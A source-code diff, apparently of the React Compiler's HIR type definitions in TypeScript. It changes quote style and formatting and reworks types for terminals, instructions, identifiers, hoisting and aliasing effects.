 export type ReactiveLabelTerminal = {
-  kind: "label";
+  kind: 'label';
   block: ReactiveBlock;
   id: InstructionId;
   loc: SourceLocation;
 };
 export type ReactiveTryTerminal = {
-  kind: "try";
+  kind: 'try';
   block: ReactiveBlock;
   handlerBinding: Place | null;
   handler: ReactiveBlock;
@@ -280,35 +281,21 @@ export type ReactiveTryTerminal = {
 // A function lowered to HIR form, ie where its body is lowered to an HIR control-flow graph
 export type HIRFunction = {
   loc: SourceLocation;
-  id: string | null;
+  id: ValidIdentifierName | null;
+  nameHint: string | null;
   fnType: ReactFunctionType;
   env: Environment;
   params: Array<Place | SpreadPattern>;
-  returnType: t.FlowType | t.TSType | null;
+  returnTypeAnnotation: t.FlowType | t.TSType | null;
+  returns: Place;
   context: Array<Place>;
-  effects: Array<FunctionEffect> | null;
   body: HIR;
   generator: boolean;
   async: boolean;
   directives: Array<string>;
+  aliasingEffects: Array<AliasingEffect> | null;
 };
 
-export type FunctionEffect =
-  | {
-      kind: "GlobalMutation";
-      error: CompilerErrorDetailOptions;
-    }
-  | {
-      kind: "ReactMutation";
-      error: CompilerErrorDetailOptions;
-    }
-  | {
-      kind: "ContextMutation";
-      places: ReadonlySet<Place>;
-      effect: Effect;
-      loc: SourceLocation;
-    };
-
 /*
  * Each reactive scope may have its own control-flow, so the instructions form
  * a control-flow graph. The graph comprises a set of basic blocks which reference
@@ -334,7 +321,7 @@ export type HIR = {
  * an exception occurs, therefore the block model only represents explicit throw
  * statements and not implicit exceptions which may occur.
  */
-export type BlockKind = "block" | "value" | "loop" | "sequence" | "catch";
+export type BlockKind = 'block' | 'value' | 'loop' | 'sequence' | 'catch';
 
 /**
  * Returns true for "block" and "catch" block kinds which correspond to statements
@@ -343,7 +330,7 @@ export type BlockKind = "block" | "value" | "loop" | "sequence" | "catch";
  * Inverse of isExpressionBlockKind()
  */
 export function isStatementBlockKind(kind: BlockKind): boolean {
-  return kind === "block" || kind === "catch";
+  return kind === 'block' || kind === 'catch';
 }
 
 /**
@@ -365,6 +352,7 @@ export type BasicBlock = {
   preds: Set<BlockId>;
   phis: Set<Phi>;
 };
+export type TBasicBlock<T extends Terminal> = BasicBlock & {terminal: T};
 
 /*
  * Terminal nodes generally represent statements that affect control flow, such as
@@ -394,24 +382,24 @@ export type Terminal =
   | ReactiveScopeTerminal
   | PrunedScopeTerminal;
 
-export type TerminalWithFallthrough = Terminal & { fallthrough: BlockId };
+export type TerminalWithFallthrough = Terminal & {fallthrough: BlockId};
 
 function _staticInvariantTerminalHasLocation(
-  terminal: Terminal
+  terminal: Terminal,
 ): SourceLocation {
   // If this fails, it is because a variant of Terminal is missing a .loc - add it!
   return terminal.loc;
 }
 
 function _staticInvariantTerminalHasInstructionId(
-  terminal: Terminal
+  terminal: Terminal,
 ): InstructionId {
   // If this fails, it is because a variant of Terminal is missing a .id - add it!
   return terminal.id;
 }
 
 function _staticInvariantTerminalHasFallthrough(
-  terminal: Terminal
+  terminal: Terminal,
 ): BlockId | never | undefined {
   // If this fails, it is because a variant of Terminal is missing a fallthrough annotation
   return terminal.fallthrough;
@@ -422,7 +410,7 @@ function _staticInvariantTerminalHasFallthrough(
  * A terminal that couldn't be lowered correctly.
  */
 export type UnsupportedTerminal = {
-  kind: "unsupported";
+  kind: 'unsupported';
   id: InstructionId;
   loc: SourceLocation;
   fallthrough?: never;
@@ -434,31 +422,44 @@ export type UnsupportedTerminal = {
  * before reaching the fallthrough.
  */
 export type UnreachableTerminal = {
-  kind: "unreachable";
+  kind: 'unreachable';
   id: InstructionId;
   loc: SourceLocation;
   fallthrough?: never;
 };
 
 export type ThrowTerminal = {
-  kind: "throw";
+  kind: 'throw';
   value: Place;
   id: InstructionId;
   loc: SourceLocation;
   fallthrough?: never;
 };
-export type Case = { test: Place | null; block: BlockId };
+export type Case = {test: Place | null; block: BlockId};
 
+export type ReturnVariant = 'Void' | 'Implicit' | 'Explicit';
 export type ReturnTerminal = {
-  kind: "return";
+  kind: 'return';
+  /**
+   * Void:
+   *   () => { ... }
+   *   function() { ... }
+   * Implicit (ArrowFunctionExpression only):
+   *   () => foo
+   * Explicit:
+   *   () => { return ... }
+   *   function () { return ... }
+   */
+  returnVariant: ReturnVariant;
   loc: SourceLocation;
   value: Place;
   id: InstructionId;
   fallthrough?: never;
+  effects: Array<AliasingEffect> | null;
 };
 
 export type GotoTerminal = {
-  kind: "goto";
+  kind: 'goto';
   block: BlockId;
   variant: GotoVariant;
   id: InstructionId;
@@ -467,13 +468,13 @@ export type GotoTerminal = {
 };
 
 export enum GotoVariant {
-  Break = "Break",
-  Continue = "Continue",
-  Try = "Try",
+  Break = 'Break',
+  Continue = 'Continue',
+  Try = 'Try',
 }
 
 export type IfTerminal = {
-  kind: "if";
+  kind: 'if';
   test: Place;
   consequent: BlockId;
   alternate: BlockId;
@@ -483,17 +484,17 @@ export type IfTerminal = {
 };
 
 export type BranchTerminal = {
-  kind: "branch";
+  kind: 'branch';
   test: Place;
   consequent: BlockId;
   alternate: BlockId;
   id: InstructionId;
   loc: SourceLocation;
-  fallthrough?: never;
+  fallthrough: BlockId;
 };
 
 export type SwitchTerminal = {
-  kind: "switch";
+  kind: 'switch';
   test: Place;
   cases: Array<Case>;
   fallthrough: BlockId;
@@ -502,7 +503,7 @@ export type SwitchTerminal = {
 };
 
 export type DoWhileTerminal = {
-  kind: "do-while";
+  kind: 'do-while';
   loop: BlockId;
   test: BlockId;
   fallthrough: BlockId;
@@ -511,7 +512,7 @@ export type DoWhileTerminal = {
 };
 
 export type WhileTerminal = {
-  kind: "while";
+  kind: 'while';
   loc: SourceLocation;
   test: BlockId;
   loop: BlockId;
@@ -520,7 +521,7 @@ export type WhileTerminal = {
 };
 
 export type ForTerminal = {
-  kind: "for";
+  kind: 'for';
   loc: SourceLocation;
   init: BlockId;
   test: BlockId;
@@ -531,7 +532,7 @@ export type ForTerminal = {
 };
 
 export type ForOfTerminal = {
-  kind: "for-of";
+  kind: 'for-of';
   loc: SourceLocation;
   init: BlockId;
   test: BlockId;
@@ -541,7 +542,7 @@ export type ForOfTerminal = {
 };
 
 export type ForInTerminal = {
-  kind: "for-in";
+  kind: 'for-in';
   loc: SourceLocation;
   init: BlockId;
   loop: BlockId;
@@ -550,8 +551,8 @@ export type ForInTerminal = {
 };
 
 export type LogicalTerminal = {
-  kind: "logical";
-  operator: t.LogicalExpression["operator"];
+  kind: 'logical';
+  operator: t.LogicalExpression['operator'];
   test: BlockId;
   fallthrough: BlockId;
   id: InstructionId;
@@ -559,7 +560,7 @@ export type LogicalTerminal = {
 };
 
 export type TernaryTerminal = {
-  kind: "ternary";
+  kind: 'ternary';
   test: BlockId;
   fallthrough: BlockId;
   id: InstructionId;
@@ -567,7 +568,7 @@ export type TernaryTerminal = {
 };
 
 export type LabelTerminal = {
-  kind: "label";
+  kind: 'label';
   block: BlockId;
   fallthrough: BlockId;
   id: InstructionId;
@@ -575,7 +576,7 @@ export type LabelTerminal = {
 };
 
 export type OptionalTerminal = {
-  kind: "optional";
+  kind: 'optional';
   /*
    * Specifies whether this node was optional. If false, it means that the original
    * node was part of an optional chain but this specific item was non-optional.
@@ -590,7 +591,7 @@ export type OptionalTerminal = {
 };
 
 export type SequenceTerminal = {
-  kind: "sequence";
+  kind: 'sequence';
   block: BlockId;
   fallthrough: BlockId;
   id: InstructionId;
@@ -598,7 +599,7 @@ export type SequenceTerminal = {
 };
 
 export type TryTerminal = {
-  kind: "try";
+  kind: 'try';
   block: BlockId;
   handlerBinding: Place | null;
   handler: BlockId;
@@ -609,16 +610,17 @@ export type TryTerminal = {
 };
 
 export type MaybeThrowTerminal = {
-  kind: "maybe-throw";
+  kind: 'maybe-throw';
   continuation: BlockId;
-  handler: BlockId;
+  handler: BlockId | null;
   id: InstructionId;
   loc: SourceLocation;
   fallthrough?: never;
+  effects: Array<AliasingEffect> | null;
 };
 
 export type ReactiveScopeTerminal = {
-  kind: "scope";
+  kind: 'scope';
   fallthrough: BlockId;
   block: BlockId;
   scope: ReactiveScope;
@@ -627,7 +629,7 @@ export type ReactiveScopeTerminal = {
 };
 
 export type PrunedScopeTerminal = {
-  kind: "pruned-scope";
+  kind: 'pruned-scope';
   fallthrough: BlockId;
   block: BlockId;
   scope: ReactiveScope;
@@ -651,12 +653,14 @@ export type Instruction = {
   lvalue: Place;
   value: InstructionValue;
   loc: SourceLocation;
+  effects: Array<AliasingEffect> | null;
 };
 
 export type TInstruction<T extends InstructionValue> = {
   id: InstructionId;
   lvalue: Place;
   value: T;
+  effects: Array<AliasingEffect> | null;
   loc: SourceLocation;
 };
 
@@ -671,7 +675,7 @@ export type LValuePattern = {
 };
 
 export type ArrayExpression = {
-  kind: "ArrayExpression";
+  kind: 'ArrayExpression';
   elements: Array<Place | SpreadPattern | Hole>;
   loc: SourceLocation;
 };
@@ -679,82 +683,113 @@ export type ArrayExpression = {
 export type Pattern = ArrayPattern | ObjectPattern;
 
 export type Hole = {
-  kind: "Hole";
+  kind: 'Hole';
 };
 
 export type SpreadPattern = {
-  kind: "Spread";
+  kind: 'Spread';
   place: Place;
 };
 
 export type ArrayPattern = {
-  kind: "ArrayPattern";
+  kind: 'ArrayPattern';
   items: Array<Place | SpreadPattern | Hole>;
+  loc: SourceLocation;
 };
 
 export type ObjectPattern = {
-  kind: "ObjectPattern";
+  kind: 'ObjectPattern';
   properties: Array<ObjectProperty | SpreadPattern>;
+  loc: SourceLocation;
 };
 
 export type ObjectPropertyKey =
   | {
-      kind: "string";
+      kind: 'string';
       name: string;
     }
   | {
-      kind: "identifier";
+      kind: 'identifier';
       name: string;
     }
   | {
-      kind: "computed";
+      kind: 'computed';
       name: Place;
+    }
+  | {
+      kind: 'number';
+      name: number;
     };
 
 export type ObjectProperty = {
-  kind: "ObjectProperty";
+  kind: 'ObjectProperty';
   key: ObjectPropertyKey;
-  type: "property" | "method";
+  type: 'property' | 'method';
   place: Place;
 };
 
 export type LoweredFunction = {
-  dependencies: Array<Place>;
   func: HIRFunction;
 };
 
 export type ObjectMethod = {
-  kind: "ObjectMethod";
+  kind: 'ObjectMethod';
   loc: SourceLocation;
   loweredFunc: LoweredFunction;
 };
 
 export enum InstructionKind {
   // const declaration
-  Const = "Const",
+  Const = 'Const',
   // let declaration
-  Let = "Let",
+  Let = 'Let',
   // assing a new value to a let binding
-  Reassign = "Reassign",
+  Reassign = 'Reassign',
   // catch clause binding
-  Catch = "Catch",
+  Catch = 'Catch',
 
   // hoisted const declarations
-  HoistedConst = "HoistedConst",
+  HoistedConst = 'HoistedConst',
+
+  // hoisted const declarations
+  HoistedLet = 'HoistedLet',
+
+  HoistedFunction = 'HoistedFunction',
+  Function = 'Function',
+}
+
+export function convertHoistedLValueKind(
+  kind: InstructionKind,
+): InstructionKind | null {
+  switch (kind) {
+    case InstructionKind.HoistedLet:
+      return InstructionKind.Let;
+    case InstructionKind.HoistedConst:
+      return InstructionKind.Const;
+    case InstructionKind.HoistedFunction:
+      return InstructionKind.Function;
+    case InstructionKind.Let:
+    case InstructionKind.Const:
+    case InstructionKind.Function:
+    case InstructionKind.Reassign:
+    case InstructionKind.Catch:
+      return null;
+    default:
+      assertExhaustive(kind, 'Unexpected lvalue kind');
+  }
 }
 
 function _staticInvariantInstructionValueHasLocation(
-  value: InstructionValue
+  value: InstructionValue,
 ): SourceLocation {
   // If this fails, it is because a variant of InstructionValue is missing a .loc - add it!
   return value.loc;
 }
 
 export type Phi = {
-  kind: "Phi";
-  id: Identifier;
-  operands: Map<BlockId, Identifier>;
-  type: Type;
+  kind: 'Phi';
+  place: Place;
+  operands: Map<BlockId, Place>;
 };
 
 /**
@@ -768,15 +803,17 @@ export type Phi = {
 export type ManualMemoDependency = {
   root:
     | {
-        kind: "NamedLocal";
+        kind: 'NamedLocal';
         value: Place;
+        constant: boolean;
       }
-    | { kind: "Global"; identifierName: string };
-  path: Array<string>;
+    | {kind: 'Global'; identifierName: string};
+  path: DependencyPath;
+  loc: SourceLocation;
 };
 
 export type StartMemoize = {
-  kind: "StartMemoize";
+  kind: 'StartMemoize';
   // Start/FinishMemoize markers should have matching ids
   manualMemoId: number;
   /**
@@ -784,10 +821,16 @@ export type StartMemoize = {
    * (e.g. useMemo without a second arg)
    */
   deps: Array<ManualMemoDependency> | null;
+  /**
+   * The source location of the dependencies argument. Used for
+   * emitting diagnostics with a suggested replacement
+   */
+  depsLoc: SourceLocation | null;
+  hasInvalidDeps?: true;
   loc: SourceLocation;
 };
 export type FinishMemoize = {
-  kind: "FinishMemoize";
+  kind: 'FinishMemoize';
   // Start/FinishMemoize markers should have matching ids
   manualMemoId: number;
   decl: Place;
@@ -812,7 +855,7 @@ export type FinishMemoize = {
  * is a FunctionType.
  */
 export type MethodCall = {
-  kind: "MethodCall";
+  kind: 'MethodCall';
   receiver: Place;
   property: Place;
   args: Array<Place | SpreadPattern>;
@@ -820,15 +863,27 @@ export type MethodCall = {
 };
 
 export type CallExpression = {
-  kind: "CallExpression";
+  kind: 'CallExpression';
   callee: Place;
   args: Array<Place | SpreadPattern>;
   loc: SourceLocation;
   typeArguments?: Array<t.FlowType>;
 };
 
+export type NewExpression = {
+  kind: 'NewExpression';
+  callee: Place;
+  args: Array<Place | SpreadPattern>;
+  loc: SourceLocation;
+};
+
 export type LoadLocal = {
-  kind: "LoadLocal";
+  kind: 'LoadLocal';
+  place: Place;
+  loc: SourceLocation;
+};
+export type LoadContext = {
+  kind: 'LoadContext';
   place: Place;
   loc: SourceLocation;
 };
@@ -844,36 +899,42 @@ export type LoadLocal = {
 
 export type InstructionValue =
   | LoadLocal
+  | LoadContext
   | {
-      kind: "LoadContext";
-      place: Place;
-      loc: SourceLocation;
-    }
-  | {
-      kind: "DeclareLocal";
+      kind: 'DeclareLocal';
       lvalue: LValue;
       type: t.FlowType | t.TSType | null;
       loc: SourceLocation;
     }
   | {
-      kind: "DeclareContext";
+      kind: 'DeclareContext';
       lvalue: {
-        kind: InstructionKind.Let | InstructionKind.HoistedConst;
+        kind:
+          | InstructionKind.Let
+          | InstructionKind.HoistedConst
+          | InstructionKind.HoistedLet
+          | InstructionKind.HoistedFunction;
         place: Place;
       };
       loc: SourceLocation;
     }
+  | StoreLocal
   | {
-      kind: "StoreLocal";
-      lvalue: LValue;
-      value: Place;
-      type: t.FlowType | t.TSType | null;
-      loc: SourceLocation;
-    }
-  | {
-      kind: "StoreContext";
+      kind: 'StoreContext';
+      /**
+       * StoreContext kinds:
+       * Reassign: context variable reassignment in source
+       * Const:    const declaration + assignment in source
+       *           ('const' context vars are ones whose declarations are hoisted)
+       * Let:      let declaration + assignment in source
+       * Function: function declaration in source (similar to `const`)
+       */
       lvalue: {
-        kind: InstructionKind.Reassign;
+        kind:
+          | InstructionKind.Reassign
+          | InstructionKind.Const
+          | InstructionKind.Let
+          | InstructionKind.Function;
         place: Place;
       };
       value: Place;
@@ -881,64 +942,59 @@ export type InstructionValue =
     }
   | Destructure
   | {
-      kind: "Primitive";
+      kind: 'Primitive';
       value: number | boolean | string | null | undefined;
       loc: SourceLocation;
     }
   | JSXText
   | {
-      kind: "BinaryExpression";
-      operator: Exclude<t.BinaryExpression["operator"], "|>">;
+      kind: 'BinaryExpression';
+      operator: Exclude<t.BinaryExpression['operator'], '|>'>;
       left: Place;
       right: Place;
       loc: SourceLocation;
     }
-  | {
-      kind: "NewExpression";
-      callee: Place;
-      args: Array<Place | SpreadPattern>;
-      loc: SourceLocation;
-    }
+  | NewExpression
   | CallExpression
   | MethodCall
   | {
-      kind: "UnaryExpression";
-      operator: Exclude<t.UnaryExpression["operator"], "throw" | "delete">;
+      kind: 'UnaryExpression';
+      operator: Exclude<t.UnaryExpression['operator'], 'throw' | 'delete'>;
       value: Place;
       loc: SourceLocation;
     }
-  | {
-      kind: "TypeCastExpression";
+  | ({
+      kind: 'TypeCastExpression';
       value: Place;
-      typeAnnotation: t.FlowType | t.TSType;
       type: Type;
       loc: SourceLocation;
-    }
+    } & (
+      | {
+          typeAnnotation: t.FlowType;
+          typeAnnotationKind: 'cast';
+        }
+      | {
+          typeAnnotation: t.TSType;
+          typeAnnotationKind: 'as' | 'satisfies';
+        }
+    ))
+  | JsxExpression
   | {
-      kind: "JsxExpression";
-      tag: Place | BuiltinTag;
-      props: Array<JsxAttribute>;
-      children: Array<Place> | null; // null === no children
-      loc: SourceLocation;
-      openingLoc: SourceLocation;
-      closingLoc: SourceLocation;
-    }
-  | {
-      kind: "ObjectExpression";
+      kind: 'ObjectExpression';
       properties: Array<ObjectProperty | SpreadPattern>;
       loc: SourceLocation;
     }
   | ObjectMethod
   | ArrayExpression
-  | { kind: "JsxFragment"; children: Array<Place>; loc: SourceLocation }
+  | {kind: 'JsxFragment'; children: Array<Place>; loc: SourceLocation}
   | {
-      kind: "RegExpLiteral";
+      kind: 'RegExpLiteral';
       pattern: string;
       flags: string;
       loc: SourceLocation;
     }
   | {
-      kind: "MetaProperty";
+      kind: 'MetaProperty';
       meta: string;
       property: string;
       loc: SourceLocation;
@@ -946,9 +1002,9 @@ export type InstructionValue =
 
   // store `object.property = value`
   | {
-      kind: "PropertyStore";
+      kind: 'PropertyStore';
       object: Place;
-      property: string;
+      property: PropertyLiteral;
       value: Place;
       loc: SourceLocation;
     }
@@ -956,15 +1012,15 @@ export type InstructionValue =
   | PropertyLoad
   // `delete object.property`
   | {
-      kind: "PropertyDelete";
+      kind: 'PropertyDelete';
       object: Place;
-      property: string;
+      property: PropertyLiteral;
       loc: SourceLocation;
     }
 
   // store `object[index] = value` - like PropertyStore but with a dynamic property
   | {
-      kind: "ComputedStore";
+      kind: 'ComputedStore';
       object: Place;
       property: Place;
       value: Place;
@@ -972,14 +1028,14 @@ export type InstructionValue =
     }
   // load `object[index]` - like PropertyLoad but with a dynamic property
   | {
-      kind: "ComputedLoad";
+      kind: 'ComputedLoad';
       object: Place;
       property: Place;
       loc: SourceLocation;
     }
   // `delete object[property]`
   | {
-      kind: "ComputedDelete";
+      kind: 'ComputedDelete';
       object: Place;
       property: Place;
       loc: SourceLocation;
@@ -988,35 +1044,35 @@ export type InstructionValue =
   | StoreGlobal
   | FunctionExpression
   | {
-      kind: "TaggedTemplateExpression";
+      kind: 'TaggedTemplateExpression';
       tag: Place;
-      value: { raw: string; cooked?: string };
+      value: {raw: string; cooked?: string};
       loc: SourceLocation;
     }
   | {
-      kind: "TemplateLiteral";
+      kind: 'TemplateLiteral';
       subexprs: Array<Place>;
-      quasis: Array<{ raw: string; cooked?: string }>;
+      quasis: Array<{raw: string; cooked?: string}>;
       loc: SourceLocation;
     }
   | {
-      kind: "Await";
+      kind: 'Await';
       value: Place;
       loc: SourceLocation;
     }
   | {
-      kind: "GetIterator";
+      kind: 'GetIterator';
       collection: Place; // the collection
       loc: SourceLocation;
     }
   | {
-      kind: "IteratorNext";
+      kind: 'IteratorNext';
       iterator: Place; // the iterator created with GetIterator
       collection: Place; // the collection being iterated over (which may be an iterable or iterator)
       loc: SourceLocation;
     }
   | {
-      kind: "NextPropertyOf";
+      kind: 'NextPropertyOf';
       value: Place; // the collection
       loc: SourceLocation;
     }
@@ -1026,9 +1082,9 @@ export type InstructionValue =
    * but evaluates to the value of <value> prior to the update.
    */
   | {
-      kind: "PrefixUpdate";
+      kind: 'PrefixUpdate';
       lvalue: Place;
-      operation: t.UpdateExpression["operator"];
+      operation: t.UpdateExpression['operator'];
       value: Place;
       loc: SourceLocation;
     }
@@ -1038,14 +1094,14 @@ export type InstructionValue =
    * and evaluates to the value after the update
    */
   | {
-      kind: "PostfixUpdate";
+      kind: 'PostfixUpdate';
       lvalue: Place;
-      operation: t.UpdateExpression["operator"];
+      operation: t.UpdateExpression['operator'];
       value: Place;
       loc: SourceLocation;
     }
   // `debugger` statement
-  | { kind: "Debugger"; loc: SourceLocation }
+  | {kind: 'Debugger'; loc: SourceLocation}
   /*
    * Represents semantic information from useMemo/useCallback that the developer
    * has indicated a particular value should be memoized. This value is ignored
@@ -1063,28 +1119,39 @@ export type InstructionValue =
    * passing through in codegen.
    */
   | {
-      kind: "UnsupportedNode";
+      kind: 'UnsupportedNode';
       node: t.Node;
       loc: SourceLocation;
     };
 
+export type JsxExpression = {
+  kind: 'JsxExpression';
+  tag: Place | BuiltinTag;
+  props: Array<JsxAttribute>;
+  children: Array<Place> | null; // null === no children
+  loc: SourceLocation;
+  openingLoc: SourceLocation;
+  closingLoc: SourceLocation;
+};
+
 export type JsxAttribute =
-  | { kind: "JsxSpreadAttribute"; argument: Place }
-  | { kind: "JsxAttribute"; name: string; place: Place };
+  | {kind: 'JsxSpreadAttribute'; argument: Place}
+  | {kind: 'JsxAttribute'; name: string; place: Place};
 
 export type FunctionExpression = {
-  kind: "FunctionExpression";
-  name: string | null;
+  kind: 'FunctionExpression';
+  name: ValidIdentifierName | null;
+  nameHint: string | null;
   loweredFunc: LoweredFunction;
-  expr:
-    | t.ArrowFunctionExpression
-    | t.FunctionExpression
-    | t.FunctionDeclaration;
+  type:
+    | 'ArrowFunctionExpression'
+    | 'FunctionExpression'
+    | 'FunctionDeclaration';
   loc: SourceLocation;
 };
 
 export type Destructure = {
-  kind: "Destructure";
+  kind: 'Destructure';
   lvalue: LValuePattern;
   value: Place;
   loc: SourceLocation;
@@ -1096,7 +1163,7 @@ export type Destructure = {
  * - a path into an identifier
  */
 export type Place = {
-  kind: "Identifier";
+  kind: 'Identifier';
   identifier: Identifier;
   effect: Effect;
   reactive: boolean;
@@ -1105,35 +1172,42 @@ export type Place = {
 
 // A primitive value with a specific (constant) value.
 export type Primitive = {
-  kind: "Primitive";
+  kind: 'Primitive';
   value: number | boolean | string | null | undefined;
   loc: SourceLocation;
 };
 
-export type JSXText = { kind: "JSXText"; value: string; loc: SourceLocation };
+export type JSXText = {kind: 'JSXText'; value: string; loc: SourceLocation};
 
+export type StoreLocal = {
+  kind: 'StoreLocal';
+  lvalue: LValue;
+  value: Place;
+  type: t.FlowType | t.TSType | null;
+  loc: SourceLocation;
+};
 export type PropertyLoad = {
-  kind: "PropertyLoad";
+  kind: 'PropertyLoad';
   object: Place;
-  property: string;
+  property: PropertyLiteral;
   loc: SourceLocation;
 };
 
 export type LoadGlobal = {
-  kind: "LoadGlobal";
+  kind: 'LoadGlobal';
   binding: NonLocalBinding;
   loc: SourceLocation;
 };
 
 export type StoreGlobal = {
-  kind: "StoreGlobal";
+  kind: 'StoreGlobal';
   name: string;
   value: Place;
   loc: SourceLocation;
 };
 
 export type BuiltinTag = {
-  kind: "BuiltinTag";
+  kind: 'BuiltinTag';
   name: string;
   loc: SourceLocation;
 };
@@ -1151,34 +1225,45 @@ export type MutableRange = {
 
 export type VariableBinding =
   // let, const, etc declared within the current component/hook
-  | { kind: "Identifier"; identifier: Identifier; bindingKind: BindingKind }
+  | {kind: 'Identifier'; identifier: Identifier; bindingKind: BindingKind}
   // bindings declard outside the current component/hook
   | NonLocalBinding;
 
+// `import {bar as baz} from 'foo'`: name=baz, module=foo, imported=bar
+export type NonLocalImportSpecifier = {
+  kind: 'ImportSpecifier';
+  name: string;
+  module: string;
+  imported: string;
+};
+
 export type NonLocalBinding =
   // `import Foo from 'foo'`: name=Foo, module=foo
-  | { kind: "ImportDefault"; name: string; module: string }
+  | {kind: 'ImportDefault'; name: string; module: string}
   // `import * as Foo from 'foo'`: name=Foo, module=foo
-  | { kind: "ImportNamespace"; name: string; module: string }
-  // `import {bar as baz} from 'foo'`: name=baz, module=foo, imported=bar
-  | {
-      kind: "ImportSpecifier";
-      name: string;
-      module: string;
-      imported: string;
-    }
+  | {kind: 'ImportNamespace'; name: string; module: string}
+  // `import {bar as baz} from 'foo'`
+  | NonLocalImportSpecifier
   // let, const, function, etc declared in the module but outside the current component/hook
-  | { kind: "ModuleLocal"; name: string }
+  | {kind: 'ModuleLocal'; name: string}
   // an unresolved binding
-  | { kind: "Global"; name: string };
+  | {kind: 'Global'; name: string};
 
 // Represents a user-defined variable (has a name) or a temporary variable (no name).
 export type Identifier = {
-  /*
-   * unique value to distinguish a variable, since name is not guaranteed to
-   * exist or be unique
+  /**
+   * After EnterSSA, `id` uniquely identifies an SSA instance of a variable.
+   * Before EnterSSA, `id` matches `declarationId`.
    */
   id: IdentifierId;
+
+  /**
+   * Uniquely identifies a given variable in the original program. If a value is
+   * reassigned in the original program each reassigned value will have a distinct
+   * `id` (after EnterSSA), but they will still have the same `declarationId`.
+   */
+  declarationId: DeclarationId;
+
   // null for temporaries. name is primarily used for debugging.
   name: IdentifierName | null;
   // The range for which this variable is mutable
@@ -1193,8 +1278,8 @@ export type Identifier = {
 };
 
 export type IdentifierName = ValidatedIdentifier | PromotedIdentifier;
-export type ValidatedIdentifier = { kind: "named"; value: ValidIdentifierName };
-export type PromotedIdentifier = { kind: "promoted"; value: string };
+export type ValidatedIdentifier = {kind: 'named'; value: ValidIdentifierName};
+export type PromotedIdentifier = {kind: 'promoted'; value: string};
 
 /**
  * Simulated opaque type for identifier names to ensure values can only be created
@@ -1202,66 +1287,126 @@ export type PromotedIdentifier = { kind: "promoted"; value: string };
  */
 const opaqueValidIdentifierName = Symbol();
 export type ValidIdentifierName = string & {
-  [opaqueValidIdentifierName]: "ValidIdentifierName";
+  [opaqueValidIdentifierName]: 'ValidIdentifierName';
 };
 
+export function makeTemporaryIdentifier(
+  id: IdentifierId,
+  loc: SourceLocation,
+): Identifier {
+  return {
+    id,
+    name: null,
+    declarationId: makeDeclarationId(id),
+    mutableRange: {start: makeInstructionId(0), end: makeInstructionId(0)},
+    scope: null,
+    type: makeType(),
+    loc,
+  };
+}
+
+export function forkTemporaryIdentifier(
+  id: IdentifierId,
+  source: Identifier,
+): Identifier {
+  return {
+    ...source,
+    mutableRange: {start: makeInstructionId(0), end: makeInstructionId(0)},
+    id,
+  };
+}
+
+export function validateIdentifierName(
+  name: string,
+): Result<ValidatedIdentifier, CompilerError> {
+  if (isReservedWord(name)) {
+    const error = new CompilerError();
+    error.pushDiagnostic(
+      CompilerDiagnostic.create({
+        category: ErrorCategory.Syntax,
+        reason: 'Expected a non-reserved identifier name',
+        description: `\`${name}\` is a reserved word in JavaScript and cannot be used as an identifier name`,
+        suggestions: null,
+      }).withDetails({
+        kind: 'error',
+        loc: GeneratedSource,
+        message: 'reserved word',
+      }),
+    );
+    return Err(error);
+  } else if (!t.isValidIdentifier(name)) {
+    const error = new CompilerError();
+    error.pushDiagnostic(
+      CompilerDiagnostic.create({
+        category: ErrorCategory.Syntax,
+        reason: `Expected a valid identifier name`,
+        description: `\`${name}\` is not a valid JavaScript identifier`,
+        suggestions: null,
+      }).withDetails({
+        kind: 'error',
+        loc: GeneratedSource,
+        message: 'reserved word',
+      }),
+    );
+  }
+  return Ok({
+    kind: 'named',
+    value: name as ValidIdentifierName,
+  });
+}
+
 /**
  * Creates a valid identifier name. This should *not* be used for synthesizing
  * identifier names: only call this method for identifier names that appear in the
  * original source code.
  */
 export function makeIdentifierName(name: string): ValidatedIdentifier {
-  CompilerError.invariant(t.isValidIdentifier(name), {
-    reason: `Expected a valid identifier name`,
-    loc: GeneratedSource,
-    description: `\`${name}\` is not a valid JavaScript identifier`,
-    suggestions: null,
-  });
-  return {
-    kind: "named",
-    value: name as ValidIdentifierName,
-  };
+  return validateIdentifierName(name).unwrap();
 }
 
 /**
  * Given an unnamed identifier, promote it to a named identifier.
+ *
+ * Note: this uses the identifier's DeclarationId to ensure that all
+ * instances of the same declaration will have the same name.
  */
 export function promoteTemporary(identifier: Identifier): void {
   CompilerError.invariant(identifier.name === null, {
     reason: `Expected a temporary (unnamed) identifier`,
-    loc: GeneratedSource,
     description: `Identifier already has a name, \`${identifier.name}\``,
-    suggestions: null,
+    loc: GeneratedSource,
   });
   identifier.name = {
-    kind: "promoted",
-    value: `#t${identifier.id}`,
+    kind: 'promoted',
+    value: `#t${identifier.declarationId}`,
   };
 }
 
 export function isPromotedTemporary(name: string): boolean {
-  return name.startsWith("#t");
+  return name.startsWith('#t');
 }
 
 /**
  * Given an unnamed identifier, promote it to a named identifier, distinguishing
  * it as a value that needs to be capitalized since it appears in JSX element tag position
+ *
+ * Note: this uses the identifier's DeclarationId to ensure that all
+ * instances of the same declaration will have the same name.
  */
 export function promoteTemporaryJsxTag(identifier: Identifier): void {
   CompilerError.invariant(identifier.name === null, {
     reason: `Expected a temporary (unnamed) identifier`,
-    loc: GeneratedSource,
     description: `Identifier already has a name, \`${identifier.name}\``,
-    suggestions: null,
+    loc: GeneratedSource,
   });
   identifier.name = {
-    kind: "promoted",
-    value: `#T${identifier.id}`,
+    kind: 'promoted',
+    value: `#T${identifier.declarationId}`,
   };
 }
 
 export function isPromotedJsxTemporary(name: string): boolean {
-  return name.startsWith("#T");
+  return name.startsWith('#T');
 }
 
 export type AbstractValue = {
@@ -1277,39 +1422,54 @@ export enum ValueReason {
   /**
    * Defined outside the React function.
    */
-  Global = "global",
+  Global = 'global',
 
   /**
    * Used in a JSX expression.
    */
-  JsxCaptured = "jsx-captured",
+  JsxCaptured = 'jsx-captured',
+
+  /**
+   * Argument to a hook
+   */
+  HookCaptured = 'hook-captured',
+
+  /**
+   * Return value of a hook
+   */
+  HookReturn = 'hook-return',
+
+  /**
+   * Passed to an effect
+   */
+  Effect = 'effect',
 
   /**
    * Return value of a function with known frozen return value, e.g. `useState`.
    */
-  KnownReturnSignature = "known-return-signature",
+  KnownReturnSignature = 'known-return-signature',
 
   /**
    * A value returned from `useContext`
    */
-  Context = "context",
+  Context = 'context',
 
   /**
    * A value returned from `useState`
    */
-  State = "state",
+  State = 'state',
 
   /**
    * A value returned from `useReducer`
    */
-  ReducerState = "reducer-state",
+  ReducerState = 'reducer-state',
 
   /**
    * Props of a component or arguments of a hook.
    */
